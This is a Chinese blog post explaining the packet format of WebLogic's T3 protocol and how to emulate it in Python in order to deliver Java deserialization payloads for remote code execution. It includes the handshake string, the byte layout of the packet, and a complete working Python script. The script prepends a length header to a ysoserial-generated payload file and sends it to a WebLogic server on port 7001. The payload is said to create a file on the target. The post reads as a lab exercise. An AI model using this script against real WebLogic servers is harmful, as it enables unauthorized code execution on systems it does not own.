前言
前段時間總結了weblogic歷年來的rce漏洞,并編寫了poc,這些漏洞中有好幾個都要用到T3協議來發送序列化數據,所以需要用python來模擬實現t3協議,當然t3協議腳本,github上就可以找到,雖然用別人的腳本改一下也可以完成數據的發送,但是我還是很好奇這個t3協議到底怎么構造的,怎么發送數據的,他的協議格式是什么樣的,于是再一番查閱資料過后,有了這篇文章。
這是正題
廢話不多說,先丟一份參考資料,當中關于如何模擬t3協議數據包講的很詳細,我這里只是實操一下
http://drops.xmd5.com/static/drops/web-13470.html
為了直觀,我先用wireshark抓一個t3通信的數據包,并以ascii方式顯示
紅色內容為我們發給weblogic的數據,藍色為weblogic返回的數據
第一段紅色數據相當于一個握手包,發給weblogic,然后webligc回復,這一段包很好構造,直接發送
t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n
就行,重點是第二個包的構造,我們在wireshark中以hex模式查看數據流,如下
在繼續之前,我們需要知道java反序列化數據都有一個特征數字:ac ed ,ac ed后面跟版本號(也就是上面的 00 05), 這個我們也可以通過實驗證明:
import
java
.
io
.
*
;
public
class
Ser
{
public
static
void
main
(
String
[
]
args
)
throws
IOException
{
File file
=
new
File
(
"test.txt"
)
;
FileOutputStream out
=
new
FileOutputStream
(
file
)
;
ObjectOutputStream obj
=
new
ObjectOutputStream
(
out
)
;
obj
.
writeObject
(
(
new
Test1
(
"axin"
,
18
)
)
)
;
}
}
class
Test1
implements
Serializable
{
String name
;
int
age
;
Test1
(
String name
,
int
age
)
{
this
.
name
=
name
;
this
.
age
=
age
;
}
public
void
show
(
)
{
System
.
out
.
println
(
"年齡:"
+
age
+
",姓名:"
+
name
)
;
}
}
上面是一小段java序列化的demo, 大概功能就是序列化Test1的對象并寫入test.txt文件中,運行程序,我們可以看到工程目錄下生成了test.txt文件,我們用一個可以以16進制展示文件的工具打開test.txt,我linux環境下用的xxd(使用方法:xxd 文件名),可以看到文件內容如下:
可以看到,這個序列化后的對象,開頭幾個數字也是aced0005。所以根據抓包結果,我一共在其中找到了五個aced,也就是說它t3協議發送了五個序列化后的對象,這和參考文章中所說的六個有所出入(以下是參考文章中的圖片,借用一下)
雖然上圖中的數據包和我所抓到的數據包有所出入,但是并不影響我們的分析,由上圖可以看到以aced開頭的有六部分,還有第一部分是一些額外的數據(直接拷貝就行),這個第一部分的前四個字節,也就是上圖中的
00 00 06 af
是整個數據包的大小,單位是字節,所以這一點是我們在模擬t3協議需要特別關注的。
然后按照參考文章中所說,構造數據包一般來講有兩種方式,
- 替換aced開頭的六個部分中的任意一個
- 直接將包含數據包長度的第一部分和我們的惡意序列化數據進行拼接(也就是用一個惡意序列化數據替換掉常規包中所有aced開頭的序列化數據)
注:圖片都來自參考文章
然后在參考別人寫的t3協議腳本的時候還注意到一個細節,那就是如果采用第一種替換方式,那么你還需要在你的惡意序列化數據的結尾加上
fe010000
,不知道為什么每個序列化數據都是用這幾個字節隔開的,你可以通過上面的數據包截圖觀察到這一點。
但是如果你采用第二種方式構造數據包的話,就不需要擔心這個問題,直接拼接就ok了。下面是我采用的第二種方式實現的一個python 模擬t3協議發送數據的腳本
# -*- coding:utf-8 -*-
import
binascii
import
socket
import
time
def
t3
(
)
:
hello
=
't3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
host
=
(
'127.0.0.1'
,
7001
)
sock
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
sock
.
settimeout
(
15
)
sock
.
connect
(
host
)
sock
.
send
(
hello
.
encode
(
'utf-8'
)
)
time
.
sleep
(
1
)
resp1
=
sock
.
recv
(
1024
)
print
(
resp1
)
data1
=
'016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000'
with
open
(
'poc'
,
'rb'
)
as
f
:
a
=
binascii
.
b2a_hex
(
f
.
read
(
)
)
.
decode
(
'utf-8'
)
print
(
a
)
data
=
data1
+
a
data
=
'%s%s'
%
(
'{:08x}'
.
format
(
len
(
data
)
//
2
+
4
)
,
data
)
sock
.
send
(
binascii
.
a2b_hex
(
data
)
)
time
.
sleep
(
2
)
sock
.
send
(
binascii
.
a2b_hex
(
data
)
)
if
__name__
==
"__main__"
:
t3
(
)
其中poc文件存放著我利用ysoserial工具生成的一個payload,這個payload如果成功被有漏洞的weblogic反序列化的話就會在目標主機的/tmp目錄下創建一個axin.txt文件,當執行該腳本后,我們去目標機上看一下:
更多文章、技術交流、商務合作、聯系博主
微信掃碼或搜索:z360901061

微信掃一掃加我為好友
QQ號聯系: 360901061
您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點擊下面給點支持吧,站長非常感激您!手機微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點擊微信右上角掃一掃功能,選擇支付二維碼完成支付。
【本文對您有幫助就好】元
